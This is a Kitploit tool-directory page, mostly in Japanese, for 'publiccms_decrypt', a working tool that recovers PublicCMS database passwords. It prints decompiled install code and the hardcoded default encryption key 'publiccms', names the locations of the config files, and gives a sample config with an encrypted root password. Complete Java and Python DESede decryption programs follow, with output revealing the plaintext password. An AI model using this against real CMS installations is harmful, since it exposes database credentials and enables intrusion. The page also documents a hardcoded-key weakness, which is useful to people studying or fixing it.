Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
publiccms_decrypt — publiccms_decrypt | Kitploit
ツール/GitHubGitHub/jas502n/publiccms_decrypt
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb SecurityCryptography
GitHubjas502n/publiccms_decrypt

publiccms_decrypt

publiccms_decrypt

リポジトリを見る
415年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

publiccms_decrypt

https://github.com/sanluan/PublicCMS

publiccms-core-V4.0.202004.a.jar!/com/publiccms/common/constants/CommonConstants.class

publiccms-common-V4.0.202004.a.jar!/com/publiccms/common/tools/VerificationUtils.class

com.publiccms.common.tools.VerificationUtils

com.publiccms.common.servlet.InstallServlet

root@kitploit:~
private void configDatabase(HttpServletRequest request, Map<String, Object> map) {
    try {
      Properties dbconfig = PropertiesLoaderUtils.loadAllProperties("config/database-template.properties");
      String host = request.getParameter("host");
      String port = request.getParameter("port");
      String database = request.getParameter("database");
      String timeZone = request.getParameter("timeZone");
      this.cmsUpgrader.setDataBaseUrl(dbconfig, host, port, database, timeZone);
      dbconfig.setProperty("jdbc.username", request.getParameter("username"));
      dbconfig.setProperty("jdbc.encryptPassword", 
          VerificationUtils.base64Encode(VerificationUtils.encrypt(request.getParameter("password"), "publiccms")));
      String databaseConfiFile = CommonConstants.CMS_FILEPATH + "/database.properties";
      File file = new File(databaseConfiFile);
      try (FileOutputStream outputStream = new FileOutputStream(file)) {
        dbconfig.store(outputStream, (String)null);
      } 
      try (Connection connection = DatabaseUtils.getConnection(databaseConfiFile)) {
        map.put("usersql", Boolean.valueOf((new File(CommonConstants.CMS_FILEPATH + "/publiccms.sql")).exists()));
        map.put("message", "success");
      } 
    } catch (Exception e) {
      map.put("error", e.getMessage());
    } 
  }

デフォルトの暗号化キー

root@kitploit:~
public static final String ENCRYPT_KEY = "publiccms";

データベース設定ファイルの場所

./publiccms/WEB-INF/classes/config/database-template.properties

./publiccms/WEB-INF/classes/config/database.properties

/webapps/ROOT/publiccms/data/database.properties

root@kitploit:~
jdbc.url=jdbc:mysql://192.168.240.21:3306/cms?characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&serverTimezone=GMT%2B08
hikariCP.idleTimeout=25000
jdbc.driverClassName=com.mysql.cj.jdbc.Driver
jdbc.username=root
jdbc.encryptPassword= 9xgiKaPSBm9y76PsUC+0Ig==

java DESede

https://baike.baidu.com/item/desede/4076053?fr=aladdin

トリプルDESアルゴリズム(DESede)の概要:

root@kitploit:~
DESedeは、DES対称暗号アルゴリズムを改良した対称暗号アルゴリズムです。168ビットの鍵を使用してデータを3回暗号化する仕組みで、通常(常にではありませんが)非常に強力な安全性を提供します。3つの56ビットの要素がすべて同じ場合、トリプルDESはDESと後方互換性があります。DESアルゴリズムの鍵長が短く、反復回数が少ないという問題に対応する改良が行われ、安全性が向上しました。ただし、DESedeアルゴリズムは処理速度が遅く、鍵計算時間が長く、暗号化効率が高くないため、対称暗号アルゴリズムの発展は楽観視できません。

root@kitploit:~

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESedeKeySpec;

import java.util.Base64;
import java.util.Scanner;

import static com.publiccms.common.tools.VerificationUtils.sha1Encode;

public class Main {

    public static final String DEFAULT_CHARSET = "UTF-8";

    public static byte[] base64Decode(String input) {
        return Base64.getDecoder().decode(input);
    }

    public static String decrypt(byte[] input, String key) {
        try {
            byte[] sha1Key = sha1Encode(key).getBytes(DEFAULT_CHARSET);
            DESedeKeySpec dks = new DESedeKeySpec(sha1Key);
            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DESede");
            SecretKey sKey = keyFactory.generateSecret(dks);
            Cipher cipher = Cipher.getInstance("DESede");
            cipher.init(2, sKey);
            byte[] ciphertext = cipher.doFinal(input);
            return new String(ciphertext, DEFAULT_CHARSET);
        } catch (Exception var8) {
            return "";
        }
    }

    public static void main(String[] args) {
        System.out.println("[+] Please input your PublicCMS password:");
        System.out.println("[+] Example= 9xgiKaPSBm9y76PsUC+0Ig==");
        Scanner sc = new Scanner(System.in);
        System.out.print("[+] Encrypt_Password= ");
        String password = sc.nextLine();
        byte[] var2 = base64Decode(password);
        String var3 = decrypt(var2, "publiccms");
        System.out.println("[+] Decrypt_Password= " + var3);

    }
}

java コンソール出力

root@kitploit:~
[+] Please input your PublicCMS password:
[+] Example= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Encrypt_Password= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Decrypt_Password= p@ssw0rd

Pythonを使用したDESedeの復号

https://stackoverflow.com/questions/21982389/desede-in-java-and-3des-in-python

デフォルトキーは publiccms をsha1で暗号化すると 2435e960d9be985705455019cfd3bc84c39344db

次に最初の24桁 "2435e960d9be985705455019cfd3bc84c39344db"[0:24] を取得

対応するPythonスクリプト:

root@kitploit:~
from pyDes import *
import hashlib
import base64

def get_sha1(res:str):
    import hashlib
    """
    使用sha1加密算法,返回str加密后的字符串
    """
    sha = hashlib.sha1(res.encode('utf-8'))
    encrypts = sha.hexdigest()
    return encrypts[0:24]

def publiccms_decrypt(data, key):
    # key1 = "2435e960d9be985705455019cfd3bc84c39344db"[0:24]
    keys = get_sha1(key)
    print("[+] Key= " + keys)
    data = base64.b64decode(data)
    k = triple_des(keys, ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
    e = k.decrypt(data)
    return e.decode("utf-8")


data = "9xgiKaPSBm9y76PsUC+0Ig=="
key = "publiccms"
print("[+] EncryptData= " + data)
print("[+] PlainText= " + publiccms_decrypt(data, key))

Python 復号デモ

root@kitploit:~
python3 publicms_decrypt.py

[+] EncryptData= 9xgiKaPSBm9y76PsUC+0Ig==
[+] Key= 2435e960d9be985705455019
[+] PlainText= p@ssw0rd
ツールをダウンロード